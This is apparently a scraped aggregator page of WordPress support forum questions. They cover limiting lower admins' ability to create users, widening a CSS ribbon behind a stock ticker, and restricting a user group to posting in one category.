To be clear, it has nothing to do with limiting which post, page, taxonomy or tag groups (companies) would have access to. Once you're a user, you can see everything. The problem is to give "lower" admins the power to create users but limit it to some extent.

I've looked at the WP docs, forums, plugins, and can't find anything to do what I'm looking for. I realize WP wasn't really built to do that sort of thing, but I'm hoping it can be hacked into doing it somehow.

The closest thing I've found was the MemberMouse plugin, it seems to kind of being able to do what I'm looking for, but it's way, way overkill, has monthly costs, and may end up being too complicated for the client to use.

Any help you can give me would be greatly appreciated. Thanks!

tmh2k1 on "Need some very difficult css help"

$
0
0

Hello,

I am wondering if someone can help me with some serious CSS customization. My page is: http://www.designapprovals.com/fsf/ (Password is [ really redacted ] ).

I have a stock market ticker in my home page and I am trying to add a "ribbon" design element behind it like the below site has. (Blue ribbon area in center of page).

http://www.designapprovals.com/fsf/wp-content/uploads/2014/09/Screen-shot-2014-09-04-at-2.48.09-PM.png

I would like to put a wider than allowed ribbon area like the image has. I cannot figure out the CSS to modify to allow for that section to be wider than the containing divs it is in. The theme author could not offer assistance either.

Any help would be greatly appreciated. Thank you very much for your help.

ThyAmon on "How to restrict a usergroup to be able to post in only 1 category?"

$
0
0

Hello, I am looking to create a new usergroup and I want them to only be able to post in a certain category and not view anything else. Is that possible? I have googled but could not find exactly this.

Viewing all 8245 articles
Browse latest View live




Latest Images